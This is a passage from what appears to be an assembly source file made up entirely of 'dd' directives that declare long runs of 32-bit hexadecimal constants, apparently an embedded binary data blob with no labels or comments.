0EC1C4Dh, 1058E65h dd 74AB93h, 7EA5CEE4h, 136A7BFBh, 72005776h, 0BF043468h dd 0FE578h, 0A463DE88h, 4893CE7Bh, 0BCA3981Fh, 99127346h dd 0A72C00C8h, 30339C75h, 6406AF1Dh, 0A898A384h, 8CB000F0h dd 0A0BB5BD1h, 5E163FECh, 7C41D245h, 0ED8769EEh, 22EC30h dd 0B00FE7D0h, 0DED5338Fh, 7F8A643Bh, 80340E3Eh, 794E6341h dd 0B775C9h, 139C867Dh, 0FA2753D8h, 47109502h, 0C0B2B44Fh dd 1EAA3Ch, 0A849317h, 73FE1CA2h, 81001078h, 69229A09h dd 54B01A01h, 48C28C7Ch, 740E7E6Fh, 9060218Ch, 466523FEh dd 570721D2h, 650E32B9h, 21803F31h, 3A4D3833h, 0D80149DEh dd 1A8642D7h, 0F0308021h, 5824A734h, 3C3E7AF8h, 1004BAC5h dd 806A47E2h, 63290358h, 30F88030h, 6467BC9h, 4250BDDFh dd 96006E34h, 0F6075349h, 0FE97CC3Ch, 0C394006Ch, 0D1D4C2C4h dd 56003EE1h, 229C7EFFh, 94660314h, 0C5B91C6Ch, 803B37AFh dd 0D1C160ECh, 3831B107h, 8AA0614Fh, 0ADF6CBh, 29623F07h dd 77CDD5A9h, 6BF21A00h, 0F838607Dh, 132F008Ah, 11CB3AD9h dd 4F00D3F4h, 0A4EEC3ABh, 0F2DC8177h, 57DA007Fh, 58C11FE1h dd 0E190B3DBh, 770D951Fh dd 2FAE4580h, 74A9FBh, 3F667939h, 5D3682C9h, 0E97BC07h dd 0C1E55A4Ch, 0F1DD02AEh, 0A8E4C97Ah, 0AD58F9F6h, 0C56F126Fh dd 72B16402h, 0D1A28054h, 5D7DF38h, 0C1103E32h, 0F590C028h dd 0F400F88Fh, 5FFA567Bh, 70E5095h, 0E6D2478Eh, 0D03917CCh dd 0B1543DE5h, 3EE8C11Ch, 11EAF580h, 5AF43194h, 1F904017h dd 9925AA76h, 0D94A6600h, 0C2FD61FEh, 3BE600C5h, 161D1102h dd 4B004F76h, 24705025h, 73F719h, 62B220C9h, 0DE28AF4Ch dd 7F524F00h, 0AC11371Ah, 16FB01E8h, 0B5FA0B8Fh, 74F4704Ah dd 330138h, 0B24172E3h, 1DBC5749h, 13A0991h, 0D5503947h dd 8F880DDh, 6778E45Fh, 1E572B8h, 4C43BC60h, 20EEE217h dd 88B613CCh, 0E64F97BDh, 6E6DF840h, 5C8719A5h, 251C1497h dd 24F84075h, 0B5F38841h, 0A8B7A02Eh, 16932186h, 0A5B1D39h dd 170975Ch, 7F4520D8h, 0A409F0D3h, 1AAC1E1Dh, 0B17E67C0h dd 74A057CDh, 0F4FF1D1Ch, 34638064h, 0D70786D0h, 0B4026D98h dd 21F79CBFh, 5CC07AECh, 881C8C74h, 0B2CBC47Dh, 0C694F0ACh dd 0F9F30F01h, 0D4B90725h, 7247A060h, 0BCB007EAh, 0A04CE468h dd 0AD37C7D7h, 663E2E00h, 980DE2EEh, 55DDA218h, 74C0EDC2h dd 0B34FD4F7h, 746C8C20h, 7EE53052h, 20190BF9h, 300AE807h dd 5480E255h, 9E591BC6h, 81AB0084h, 3149EF0Eh, 0B400ADFAh dd 0BEEE3B51h, 0FAAC354Eh, 90F11E6Eh, 0E1438047h, 0FAE5DEF3h dd 0BAE2C49Ah, 25586600h, 0DDCC4974h, 2D2FE40Ah, 0CC80D2A0h dd 0D9B27F9Eh, 945D800h, 16AC5751h, 396AF2D6h, 0E980A808h dd 2AB1AC9h, 0F900BF20h, 56322CFAh, 62553Fh, 0C43B8AEEh dd 0C96B65BEh, 0BB70C30Ah, 2F02D467h, 82E09253h, 0B833DDC8h dd 3A8B3660h, 2D80E745h, 0CF0220FFh, 9100E0C5h, 39214210h dd 9E73C2h, 1C0FE60Ch, 0C4A551DFh, 47D6A202h, 0C0D4C3A3h dd 1F885AA4h, 30248CFDh, 0ECF06C10h, 6A9D2E01h, 0D3023C67h dd 4E4A1880h, 6518F894h, 0C3DA240Ah, 0B181C460h, 0DB550FDDh dd 0D99D2880h, 0B0E537CDh, 0D4F252h, 418A311Dh, 38B6BF56h dd 0F00AB5Ah, 5E7339DEh, 0C13AEC24h, 366C81BCh, 0F5E23FC5h dd 0FB7AE8h, 6D987546h, 39E4D0C9h, 8EAA7700h, 1A80840Dh dd 0FF4E18h, 94A8218h, 0F216F59Dh, 8F00A07Ch, 0F14B5284h dd 2E92019Ch, 56ECF8D0h, 0CAE0C4E7h, 0D1FB8490h, 798C7997h dd 9EDEB200h, 5A24897Bh, 56AC3A2Bh, 0A440E900h, 1DA994C8h dd 14A11A0Fh, 0BDF8E383h, 8F9381F5h, 0EFB7E0h, 1D76BE59h dd 5CBCBF58h, 4B6B9500h, 7AF01478h, 0CE500099h, 76F66181h dd 170A3296h, 94FD8F5Eh, 0F919AC00h, 19402AEh, 5BB8CE5Dh dd 242DC355h, 0DE054670h, 0CB085C03h, 582000A5h, 0EC3339EEh dd 57BC28DEh, 0DDDFD606h, 7195852h, 0F10B100Eh, 3090601Eh dd 2C018C80h, 0A90424E7h, 746CCB33h, 0F51C8580h, 3609D16Dh dd 603B3CC9h, 60B30240h, 0ED41518Dh, 6F3E1676h, 0A3C00E2Ch dd 0DB3226BFh, 5FC10048h, 9D1D8610h, 0B2009612h, 8B4BF917h dd 130E0825h, 0FDF7D4h, 0D287B51Ch, 140C7B36h, 61A680EFh dd 0D27D78B4h, 0F690C0E0h, 392F9122h, 0F35090A5h, 0ACCF403Ch dd 699D88h, 0AAF98545h, 0A949FCF6h, 488680Bh, 668A0172h dd 0D8606A54h, 0DDF224DEh, 681482E8h, 6873CAh, 0CF007DB8h dd 0A9CC80E3h, 1558E0h, 501DDE08h, 4C3B5ECAh, 0BFA29E07h dd 68005122h, 97DB47h, 0FA441CB0h, 96618F7Bh, 0F3BE58h dd 0B43EEFBDh, 750FF8h, 2362025Ah, 3452C1CAh, 0E1426B00h dd 54BBCC25h, 0E7A10FFCh, 3F206961h, 1A5CFA4h, 2EDC9C00h dd 29095D2Dh, 0E2E4007Ch, 0E9207D9Ah, 0C93AFA07h, 0E01387B3h dd 0E974E19h, 9E3D6D90h, 0FC830031h, 0D59D063h, 45983F40h dd 0F8C55300h, 0E112025Eh, 9AA8C577h, 0CE098609h, 0A1F20E6h dd 0DE8096D4h, 5EE88EBDh, 811F003Eh, 0E6137E90h, 0B100D89Eh dd 0A9437BEAh, 3AB44149h, 0AA006CCCh, 0C365D24Ah, 9900C7ACh dd 3A1FFA89h, 39731D2Fh, 0D30058E3h, 0E7EDB125h, 7100AD26h dd 5E8C8E5Ah, 6635226Bh, 583FDEBAh, 0ABE3F100h, 5D4381AAh dd 2CD60F31h, 7740C040h, 8EB642D5h, 804E3600h, 0BEC92E43h dd 699E02Fh, 30FA87B1h, 7001791Ch, 1763D6A0h, 0D8E04AC4h dd 4C1018Ch, 760AF826h, 0EF9C409Eh, 7F07ECABh, 915A83A0h dd 0CC53931h, 6378E4h, 0ACEA99E3h, 0F1FFDDE5h, 858A600h dd 8DD21BF9h, 0D65F00B8h, 402B52F5h, 62003D6Fh, 70EC9DE5h dd 0D9CAEAh, 3868B34Ch, 6A98B2C9h, 9AE32000h, 6E728E2Ch dd 54A21F3Dh, 64F700A1h, 15B5CF96h, 0DC394800h, 0EABF41FFh dd 6DAD00DBh, 3632D511h, 0B600D078h, 0AF7FCDD4h, 0F8DC8Fh dd 0B7743F77h, 92B519EEh, 1FF4EF00h, 8431EA54h, 602600DEh dd 8F47D94Dh, 62000C5Ah, 8D1CB5C4h, 0B863D046h, 410700ABh dd 0B9B20D37h, 51003410h, 1342610Eh, 67D0873h, 6794E518h dd 1A6F0920h, 0E21D80C8h, 0C0126899h, 0F62E6E18h, 97011358h dd 0BD18F38Eh, 92FC64BCh, 6EFB0095h, 3096DAF2h, 0D00024CAh dd 6A370140h, 111A498h, 76F9979h, 0F0FBDA43h, 10FE7573h dd 988F801Eh, 4B01EEC0h, 706CD94h, 4091B029h, 0FB24B058h dd 7E00A91Dh, 0B920CE95h, 127AF9E4h, 43ED89B1h, 429E2524h dd 6E889DE8h, 0ECCC1800h, 0F820C102h, 1FDEF82Dh, 0B07131C6h dd 0B63A2FF0h, 3CD9B00h, 78632907h, 9E89269Fh, 0C2670000h dd 9BF8ED19h, 0A2B210C0h, 0BA7E87h, 4DFC8AACh, 0F92EF313h dd 0A893EF03h, 0A0EE48F5h, 0F0E9537Eh, 7FAD002Dh, 496AF8FFh dd 0D67F875Dh, 0F3416E01h, 0C06470B7h, 14F18ECh, 9AB4893Bh dd 208C5AD4h, 0B9003C14h, 0F01162AFh, 0FC09906h, 7E7CFFE5h dd 2A340F82h, 1426A883h, 0BD09C803h, 0A01CEFC0h, 1824F7C8h dd 0B4F5BEC7h, 930FCC5h, 4B0F20BFh, 2F330052h, 0D58F2B3h dd 1EE09891h, 5FB9BE14h, 79B505E8h, 0DC40764Ch, 0ECC5FA6Dh dd 0AE30F74h, 0C0208322h, 0B47C7A33h, 0C400FD98h, 0EA58F576h dd 4C44B7D5h, 0E8018C25h, 7D4ACC9Dh, 0A4F9D4E2h, 7B95E403h dd 7D39031h, 925E0328h, 0F080CBC5h, 0A77988F6h, 53134600h dd 0BD19B190h, 0E7AA0083h, 0E1A58615h, 1F3A6B08h, 2E3780B8h dd 4AC37804h, 22F30490h, 93751436h, 0ED8FE2Ch, 0A3EA7016h dd 7F00D1FCh, 0E05B0134h, 120FC79Bh, 0E72BAF8h, 0AFC08A00h dd 0BDF283E5h, 0B96930FDh, 0F38DDB03h, 0E084DCB8h, 54E1B3h dd 0B78E0F08h, 5FC0636Dh, 0A74C1601h, 0A86874B4h, 283BE441h dd 0F54F60h, 0BB3046A5h, 9B8B25Eh, 0D5959E00h, 52939935h dd 15BC00CAh, 0ED3F8461h, 340F2B86h, 0C045CE76h, 951BFD83h dd 0C39000C1h, 0D7A864DAh, 43E87417h, 0CB6AB700h, 4CEB19F0h dd 650A0081h, 1C7178D9h, 0F9022710h, 0D39C2068h, 0D479E0A2h dd 0AD5200A3h, 0EF451167h, 8D0005E2h, 0C8C11CF1h, 5C3D1BF2h dd 62002014h, 54332D5Ah, 44B228FFh, 0A3FA9D02h, 602C9CCFh dd 1FD08B4h, 5BCC5199h, 409ADF78h, 5011569Eh, 98E57200h dd 0AE53A2CDh, 44122E7Ch, 0B3C200CCh, 223D1D8Eh, 6DBA5E00h dd 3124CB99h, 0B26B031Eh, 19816F30h, 0AC26AAC0h, 0CCA05578h dd 1700F41Dh, 65369633h, 5CAB067Bh, 1044DC25h, 13E811Eh dd 67D046CBh, 0CCEA4025h, 8602267Ch, 7AEFDD5Dh, 0E9A763DCh dd 0D8CC6660h, 0AC58C5C9h, 1C284158h, 840ECC33h, 50F1818h dd 7E317303h, 9D0927C9h dd 707DB10h, 0D9C04ACBh, 6F320BE8h, 236B48ADh, 0F1896301h dd 2C303418h, 0B50069EAh, 0E7D10E1Dh, 58071AF4h, 0C6079532h dd 0A32273AFh, 66D8D630h, 681FE546h, 2158A00Eh, 75EDD018h dd 714200DDh, 5AC9FF07h, 4B30B27Ch, 80D2011h, 7D0A805h dd 0EE560C02h, 33303C29h, 9E5E6728h, 0BE1DB206h, 78183E9Ch dd 0C362B07Dh, 80631E40h, 0F2347BC0h, 0B51092F0h, 8053874h dd 406B912Eh, 0AE6DEC90h, 77324E4h, 5AE11766h, 0B1D1809h dd 0A27D8909h, 30C355Ch, 206EAD41h, 3439D1D0h, 585E4E0h dd 0D27182FDh, 0D17E8024h, 57014F21h, 0B338A16Ah, 0C3DFA52Ah dd 96CFE0D0h, 0C030000Ah, 0FE1FDB45h, 0C8F8D21Eh, 63FDDD03h dd 31605D24h, 0AF713160h, 4660C2DAh, 6109387Dh, 8B3513D3h dd 0FA3220B8h, 0EE46849h, 0CB60781Ah, 65AF530Eh, 303839C0h dd 3316DAB6h, 24007FDEh, 3E314C8Dh, 0B9180079h, 0FDBFD369h dd 6060F694h, 0DA654FA0h, 587500BEh, 864D7CFh, 87007978h dd 27047CA8h, 60C090D8h, 37D2D06Ch, 0F1C3D3BFh, 34EA32Bh dd 98BE9AE9h, 4E0E5F5h, 41739624h, 5B2929C0h, 74527E7Ah dd 149E1DBCh, 8C0540FAh, 0C0040B63h, 0CA0C9D00h, 0E2607F79h dd 0F0A10097h, 2DA4C551h, 1A009ABDh, 0C9C2D9CDh, 3A024A2Bh dd 5180D587h, 89AE0D0Fh, 113D6131h, 0AB9180CFh, 5CC97FDFh dd 2B298038h, 0A951A131h, 0F98067F7h, 0C8EA6DA6h, 0A801AA3Fh dd 4E022722h, 0ACE48344h, 664D00D4h, 0C95CF5A4h, 41C04F28h dd 63DEA06Eh, 59340245h, 0BA70C5A2h, 5567EC80h, 5748F99Fh dd 314830B0h, 1E2AD875h, 0C0C3D4EDh, 0B4079B8Ch, 5239FD68h dd 0E943809Ah, 8EF13B4Ah, 335E28A8h, 3A6DF2AAh, 9F80C7CEh dd 2AAF906Bh, 940048EFh, 7BD853C1h, 2A4CE40Fh, 2443FEh dd 0B6C04455h, 9C51EEDDh, 0D1C59605h, 0D3C0A634h, 0C3D75BD2h dd 466F9D28h, 7BFDAAA0h, 418F5137h, 15E318C0h, 0E0060019h dd 0C28CB0AEh, 0A01E5D84h, 6047717Eh, 0B1E062FDh, 3C617447h dd 9C1C0B7Dh, 0BD6A4032h, 8CF40C39h, 0F1E99D18h, 0A14360h dd 0B042C374h, 2833CB9Bh, 0E89EBB0Ch, 5221F4h, 0E235180Ah dd 0CD63E9D4h, 0C09D2B00h, 7C035830h, 0C2FFEF4h, 0E4D4D878h dd 0EE39AAA8h, 0CF4160B0h, 1ED7EAh, 2885159h, 0F77C9D72h dd 50B2F800h, 3ECA6A36h, 6890069Eh, 19140F7Dh, 0BFE8200h dd 62BFFA2h, 3088A841h, 51A7A6Eh, 679AE843h, 700C024Ah dd 94A5FE55h, 0D0A02063h, 9C007EA1h, 0F4771826h, 3CF898EDh dd 4C0052E1h, 8371D367h, 3C00EBECh, 26EF0BD0h, 30A0E551h dd 5A1885CDh, 243E13D1h, 7A982625h, 749A5700h, 0EA799F75h dd 6EF9EE44h, 510F18E1h, 0ECFF84C3h, 40E734C7h, 7FF65450h dd 0E3971029h, 59E680F4h, 58478489h, 6506A038h, 789BD5BBh dd 2DE13208h, 0EF86015Dh, 80FBFFE3h, 7799E039h, 0C286744h dd 2B7EAB37h, 21C0D508h, 0DF7790C0h, 0B72D00E8h, 0C3F54F06h dd 0DB18F10Ch, 8F1889Dh, 305A5047h, 69017832h, 50801053h dd 88B0A07Fh, 80DE9F3Dh, 52079D18h, 0EC46938h, 70955494h dd 80E2E904h, 0DED148CFh, 8090E63Fh, 31745586h, 0FA0BF718h dd 75D7A0Dh, 0C6CCA4CDh, 8502D03Ah, 0B000D272h, 0C7AD6CBFh dd 288FD33Ch, 0CA62EFh, 0DB5FC5C1h, 0C230379h, 39E64500h dd 847A6910h, 81141283h, 0C911007Bh, 0A4C0B53Bh, 1F3A9301h dd 0C32EDFC4h, 0CFC64085h, 83042AFAh, 66F6D6h, 3F4DD210h dd 0F968E3A8h, 5DEFA301h, 78C3943Eh, 3CFD6CCh, 0DDC2607Bh dd 291134B7h, 173EA52Dh, 7C84A344h, 0EEA189E5h, 24DF5122h dd 3D5B40B7h, 0FFF4F96Fh, 5FF0E8h, 56FB6553h, 5CF38A40h dd 43203B61h, 5D8A648h, 509900C0h, 779FA127h, 6E00BDEBh dd 7AA44169h, 8564FFh, 6FF318C3h, 1E214C2Fh, 0E9F0D960h dd 25553Ah, 0EB729CA0h, 0C67CE574h, 770A4907h, 24E39E0Fh dd 0D4F9F015h, 0EFE98CCh, 586F4DD6h, 0C9FC93A1h, 3CEBCB8Ah dd 4C9C48C8h, 5CB95300h, 77BC3405h, 0CB3B0010h, 82B73FE1h dd 967FA193h, 0F6B1E600h, 8079A075h, 0EB3100C7h, 491C61F9h dd 2A03BE92h, 19B93C27h, 86E4D15Ah, 3FF001D1h, 0F33009F6h dd 0F9031588h, 70DBEFD4h, 0F4CF73C1h, 6C3E318Ch, 0A9D600A7h dd 95AB262Eh, 97882E7Fh, 50E300C8h, 0B0D90C47h, 750FE972h dd 0A061AB35h, 164F71DCh, 9F9D00B8h, 0F1838B3Eh, 810011A3h dd 155BD78Ch, 48DDDFCFh, 90714CDh, 90EB4E52h, 1F83F2E1h dd 80688F3Ah, 0B555078Bh, 3AF5FD2Bh, 7B80B4E4h, 773C6194h dd 0CF0733B9h, 1C4ACD9Ah, 3B597020h, 2D491E40h, 560D8082h dd 7DF0BA88h, 34EFF200h, 584D85DFh, 204B008Eh, 495087C5h dd 901DDAA7h, 166EAE92h, 0E893600Ah, 3A3C8A03h, 3386F010h dd 12EF01Eh, 998EAA40h, 0F08FB730h, 5F00B43Dh, 0C4D801CDh dd 7B3EE53h, 0DDC59B5Ch, 0BBE040BFh, 0BE019D5Eh, 0A4A7163Ah dd 3DC49434h, 90DFE35h, 225528AFh, 7B7F0C00h, 32309DE3h dd 4F5B1023h, 0E9DF03D9h, 0CD5DCD1h, 3C94D000h, 8F8E1AC6h dd 9C2800A2h, 1EAE2FFBh, 3500FE27h, 334F1DCCh, 8E76F3h dd 1C6EA7DEh, 49D3BA82h, 0FCFF3700h, 10F45FE1h, 46B500A5h dd 34AC7C6h, 6CE8A7B6h, 0BD48E01h, 0E6980706h, 19D68489h dd 1EFA9300h, 9703C991h, 7CE446F5h, 0E7B8B843h, 1FBFC51h dd 1A2A32AAh, 0F82305B3h, 6A09D5C0h, 5F6C579Ah, 2BCBC600h dd 5EE34E0h, 0F2674B00h, 0D980EA91h, 786903DCh, 0FC02C54Ch dd 4EA00AD8h, 90038B73h, 3D348222h, 6D6BD0E7h, 0ADAB0F4Ch dd 4D603C91h, 319B9256h, 3E573B04h, 38C063E7h, 7B395Ch dd 8B4150E5h, 614F43F4h, 4506E2FEh, 3740F7BEh, 235F0020h dd 7C2927F2h, 830113BAh, 2C32B867h, 0D960A379h, 12067589h dd 0DDF05Ch, 47B21BFCh, 0E912C307h, 0DC0092B9h, 0F53428E0h dd 0A82C003Eh, 13B77E6Fh, 2A0333E6h, 45CACF0Ch, 0ABC7D580h dd 30B32F90h, 25E6B8EFh, 335618B9h, 29C7C200h, 7112E54h dd 0CFD9657h, 95F031DEh, 0E37FC03h, 64CD4714h, 6FBA00ABh dd 999CB41Ah, 68D101ADh, 0FF6D9371h, 334DF47Bh, 5E66B500h dd 3A323FE0h, 0C898C4h, 2AEA525Ah, 8F14C56h, 0ED005474h dd 0F44F582Ch, 245F01h, 3E6F36EEh, 0A78CF6FEh, 6D001C73h dd 42AB3C84h, 0B4D9A5h, 8DBA66Bh, 257A9DAFh, 3676BB07h dd 0BFF0029Fh, 7CD7E198h, 76A94C60h, 0C0B0B100h, 0DBC1E65Bh dd 84298E1Eh, 0BB6CED03h, 0D4310E02h, 0B343771Bh, 7CB895BEh dd 5C000399h, 0ABE38467h, 9CFB5BFh, 0C7C9159Fh, 2EACD000h dd 0B4029EFCh, 0C079DEB6h, 427C4072h, 1C92ECD5h, 80B76B01h dd 52B8837Dh, 0D65CAA8Fh, 843924EEh, 0A673C701h, 31C4AB59h dd 0D0ED0048h, 0C82095C6h, 4D74DF5Dh, 80B15C00h, 7AAB301Eh dd 13CD071Fh, 0F0AE5695h, 5ED3B070h, 1EAEC14Bh, 98CD4001h dd 946F378Ch, 11EAEB00h, 1FC41B79h, 0BAD60039h, 0BC088366h dd 0E5FC58BDh, 60F19701h, 0F226378Fh, 0E8B05760h, 0BE5624B3h dd 0DD1EFCh, 19EE7086h, 4F6E588h, 0BB740700h, 17722213h dd 53DD0F80h, 4FB31A96h, 4540465Ch, 57B2F4CCh, 5B82E0E5h dd 0B5F2B600h, 9AEBBB54h, 43B00059h, 20142F50h, 0F50080E6h dd 3962063Fh, 4507DAh, 5B184052h, 0A57383C2h, 0E2A1E880h dd 0E10D009Ch, 0C52DBD39h, 8E0045DAh, 577AB90h, 32734FFh dd 82A44320h, 1FC82315h dd 6EE664E1h, 0F332D000h, 780EC337h, 0C94E009Ch, 66EE67FBh dd 7001ECBh, 158AC250h, 0EE490FA0h, 33E70917h, 29809BC9h dd 0D8FF3671h, 426A8B05h, 4C80CDB2h, 2C6766h, 1BC728E3h dd 88BE9665h, 0C9DB8D00h, 0D9515AF6h, 0C216009Eh, 626D3A34h dd 7E00D356h, 9BE13085h, 0FC990BA9h, 0E4DAB831h, 78F00982h dd 0F000D896h, 324A222Eh, 0C7D96006h, 3CAA0D8Eh, 58016BE8h dd 7AA6A352h, 0D47BE951h, 7C002EF6h, 0EF78208Dh, 37DB2E2h dd 73199529h, 7E80C336h, 91CA4D6h, 1744BCF5h, 6890C89Eh dd 3D626422h, 8A1E3768h, 0FC161DC1h, 77915580h, 666E27DEh dd 0B4266C01h, 3B7C104Ah, 64BED8h, 97B54E73h, 66A63923h dd 96277505h, 38945F1Fh, 0A11DE3C0h, 0F35000B2h, 4CB15AB4h dd 0C04D6B5Eh, 21E50060h, 0DE0FCBB8h, 608A7E80h, 4E841896h dd 0B0ED373h, 0C098DB2Ch, 0F5DD7C19h, 8C7D0029h, 0CF0EACA5h dd 4F006A3Bh, 0A62B2E64h, 0C00CB0h, 0F2192758h, 0C128578Dh dd 4AF40400h, 0DFD545F3h, 841303CEh, 3830021Ah, 2ABE0EB5h dd 0EBE38300h, 787A6C25h, 8B8E4B03h, 0C8856F19h, 0F75527h dd 10B71504h, 6128F999h, 0EBFE8807h, 0CBD035D5h, 1959E9Fh dd 9B598C1Eh, 0C8A03028h, 140029B1h, 8105C9D3h, 4E0C7Bh dd 0A4D1BA4Ah, 0E9FE28D2h, 0FFFACB00h, 77BF817Ah, 304B00DFh dd 9552518Ah, 0D800314Ah, 22E156D3h, 70C753h, 0FF63F34Ch dd 0AECCEF16h, 5D0481F4h, 0E23B9EDBh, 9280A0h, 9CC2B365h dd 0AA90A967h, 0C4B68800h, 0C9AC669Eh, 988F1D95h, 0C7E100CEh dd 7340C60Fh, 31D63500h, 42DB08C3h, 0D41D0070h, 1681623Bh dd 0B8987EB5h, 27FEEE14h, 264681B8h, 37F012CEh, 666F020Bh dd 5F99131Ah, 4045EEE0h, 6E537D00h, 9B88440Eh, 0E4E6018Dh dd 0E139DB09h, 15CBC0EBh, 861C8E1Ch, 5D46C900h, 0F299241h dd 594477Ah, 0C05828A5h, 82C003F3h, 0C90F3Ch, 0CC3C871Eh dd 44B935h, 0C55F4584h, 0FFC0DA03h, 9926A300h, 0AAEF04FAh dd 678D2EFCh, 20B1803Ch, 5BFA30Fh, 4872CD58h, 59FC03D4h dd 0B88DD550h, 93B443h, 538A312Ah, 3E43048h, 7690A100h dd 0C532EB34h, 495C0099h, 0B2C8DE0Bh, 173F4A33h, 1D4F80F0h dd 43844508h, 90AA5959h, 8B5A8200h, 0A17E6B3Ch, 0EDE20612h dd 44F054C0h, 0DCD800CBh, 0FB23E993h, 0C00A03Eh, 5246603Ah dd 0DBE0E3h, 246C63BBh, 74EFE94Fh, 7E9CC100h, 0DED32C6h dd 0FCA20097h, 0CA90E49Fh, 0FD3D9824h, 9401F03Dh, 0BE7D7FBBh dd 0B02CCB92h, 615D4C00h, 3B06CD15h, 54081E67h, 0A347EC40h dd 8D99DD95h, 0E030E6D4h, 0F2002A45h, 0F51A7263h, 1BC47D79h dd 21E10B47h, 48926CC8h, 1D831107h, 240F938h, 30229369h dd 4694CC15h, 7F006F0Ch, 3EB2C143h, 6059501Ah, 8FA4061h dd 4614ABF5h, 654F262h, 0FE0CDD66h, 0ABCD0021h, 581F5B7Eh dd 7C383CFDh, 0D8383B9Dh, 0BD0A0009h, 6608D6ABh, 623A3050h dd 0CC86E059h, 984851CCh, 0A7D8071Dh, 60C26394h, 317E6621h dd 5D00D5EEh, 0A830F22Dh, 5362E3h, 977525C2h, 8971B26Ah dd 2CDD0C00h, 5CC1E478h, 6E4B1D1Bh, 0DE8A470Dh, 19D5B06Fh dd 38002C25h, 6ACD46BAh, 743FAFA1h, 6FA60080h, 9E86A4FBh dd 0D100FE6Bh, 9DE42E5Ah, 7AB47B6h, 0AAC7A9E2h, 0CBBC901Dh dd 0A10719F2h, 0B1FF13C8h, 0F2A825F3h, 142DE01Bh, 9EFA00BDh dd 0A68ACE3Eh, 2A1F12E9h, 0F60E3F37h, 98B0804Ah, 0DD82414h dd 0C6390CDh, 44BDE882h, 6F2A1B00h, 6C60B001h, 1579FEB6h dd 0FCC8C7A5h, 2A037600h, 8D2C0FE2h, 1156E900h, 0A7820D7Dh dd 6AF400CBh, 0D09DC0E6h, 3F0FCDFBh, 0A33CFF46h, 3BEDB176h dd 0F2010A10h, 6DD2CFD9h, 395880DAh, 5DF518ECh, 541998A5h dd 2257D05Eh, 5101CABEh, 5DF36990h, 0DBD4DF72h, 0D8B03D22h dd 0EC512B38h, 716DF4h, 0B1E0C305h, 0B8573B09h, 44F8D624h dd 31B78580h, 702ABDFh, 7D5C189h, 0F0339722h, 74F45036h dd 9730F00h, 44E940Eh, 8A7518h, 838CE0E4h, 0D6C20BA2h dd 6651FB60h, 0E32D9Dh, 0AAD7AFFAh, 49852090h, 54E0B70Ah dd 0C5111888h, 0EE462300h, 1E69D47Eh, 74A0507Bh, 0B244128Eh dd 0C027F6C3h, 136D5A19h, 2F0352D9h, 0BE690B34h, 0A62907B4h dd 20F9D0BDh, 92F1319h, 4392F003h, 80183241h, 1D5EB3D8h dd 402AC27Dh, 72859FC8h, 20079E5h, 4D901063h, 32C03C24h dd 6106207h, 7B0304B5h, 0E013888Fh, 61C7CEh, 0D02CADABh dd 17623885h, 0DCD58700h, 0F67C7B6Dh, 0CF810C59h, 0A4296EAEh dd 56FC8341h, 0FB997CD4h, 0CA6C0980h, 0BF6B64B3h, 54619E18h dd 1D5B8F18h, 0C051D967h, 0B58A95C7h, 0E9F236C3h, 692DBC00h dd 71B7BAB8h, 0BE010017h, 8EF8FE38h, 0D43F57D1h, 0B42D00DDh dd 364F454Eh, 0F997640h, 0E48D138Ah, 500B1527h, 342B29C9h dd 0C646651Dh, 43C9380h, 7F3B2Ah, 754FBB56h, 0C8346739h dd 4D422F00h, 449E4571h, 0E5AE618h, 0BDD4C095h, 0DD08DB00h dd 1100CB97h, 431C3F04h, 1F02886Dh, 534034E9h, 215F0017h dd 0F12E630Bh, 0DDD35602h, 8372D448h, 904B27CCh, 0F3FC1Bh dd 9EF5B8AFh, 0A7EFB4F6h, 0DBB7F100h, 0C168C274h, 0D8BE0184h dd 372D3DE1h, 63B0F773h, 6600E69Fh, 4738E82Ch, 0E597CAh dd 855D55B9h, 75AAF7BFh, 0B5D70F00h, 4C8E11BBh, 0C9F207ACh dd 0CBE332h, 0A82C2452h, 0BBF64D24h, 0E070BB0Eh, 3D6F5942h dd 589600A7h, 0F25B9C4Ch, 0EC0115C8h, 0FF95BAE4h, 1020218Bh dd 75200D3h, 0C3968171h, 0EE00AB53h, 958F77E6h, 0AE6B6Ah dd 260ACC36h, 112AF7B9h, 0D48C1700h, 0D5F4FF19h, 8D08001Ah dd 53F929BCh, 0C0004E20h, 0B8618EAh, 0B148497h, 134F17Ah dd 0B84F3C00h, 48016744h, 0EA814B46h, 0F160E284h, 0E66F3F06h dd 0D7FDD300h, 18394598h, 365EEA00h, 0A6439133h, 5FB20048h dd 1B9AB8A0h, 3076C105h, 0CB814000h, 5D473435h, 0E4863878h dd 89297F89h, 0E6507C00h, 0EA30641Ch, 0EE109DFh, 0E2F40362h dd 9F76301h, 71AB184Ch, 8E804000h, 437A044Fh, 83160099h dd 441C7367h, 6400E629h, 3977EE2Fh, 0D53712h, 36A68313h dd 3576B97Dh, 0FB00F47Ch, 0EAAEB45Dh, 8E4BDCh, 7CAA820Fh dd 2C98974Ah, 0DED28A0Ch, 0D11E9h, 0D5BD8092h, 5FE8A3F8h dd 0E01E6E24h, 6DAE0E1Eh, 6C659700h, 28BF5C76h, 7A47055h dd 0CC66CA31h, 7F3E022h, 3300D1A8h, 6A88B126h, 0F483718Ch dd 5BB30095h, 0F7F6869Ah, 110022B4h, 1CFBEADAh, 16CF12h dd 0EF518948h, 87E3AE18h, 1325F001h, 1CF34F32h, 19CD120h dd 297BE9ADh, 0D0C3A1F1h, 43481718h, 0CDAF3C94h, 0C9C0050h dd 64B1065Ah, 38D107C6h, 90FFE14Bh, 0BB6FDD2Ah, 162C1F09h dd 2BA4001Bh, 180B94B6h, 488DCE09h, 0DB7BFCF7h, 1378765Ch dd 0A807DD04h, 606C5C94h, 0F450161h, 83D5C33Eh, 81ACF4A0h dd 0FBF95600h, 0FC88AA5Bh, 29183F1Eh, 0BC99DA89h, 2ABD1680h dd 0EA4CAFF5h, 65B400A4h, 0AD94CCE0h, 11EE84h, 6BCF555Ch dd 90169EF1h, 45BFC204h, 44C056A7h, 0F6EE350h, 2CCC6381h dd 0AE20E601h, 0AF69EC47h, 8068453Eh, 4FC68662h, 359DE4Dh dd 649A9FAAh, 0F8A984F7h, 8E5C34B3h, 0DF58F900h, 0EFE94A6Ah dd 5B5358EBh, 89249B26h, 3000064Ch, 0C859FEDFh, 0FDC3F3Eh dd 0C0FB1483h, 38C43ECAh, 0E7C7768h, 0E3818877h, 0E59B6480h dd 0B61F6575h, 79C06CFAh dd 0E107C8E8h, 0DF40E105h, 7DD68EEh, 637770D1h, 4B6CE019h dd 0D400C659h, 7B6A6784h, 1E421581h, 819E5EA3h, 0BF408D34h dd 0AED1E454h, 63F88600h, 0EBFF57B3h, 4B1903C6h, 0CC4F8714h dd 0A0A36FA0h, 0D1706200h, 0D08F8EF9h, 66B73071h, 0D3A253CCh dd 852648E8h, 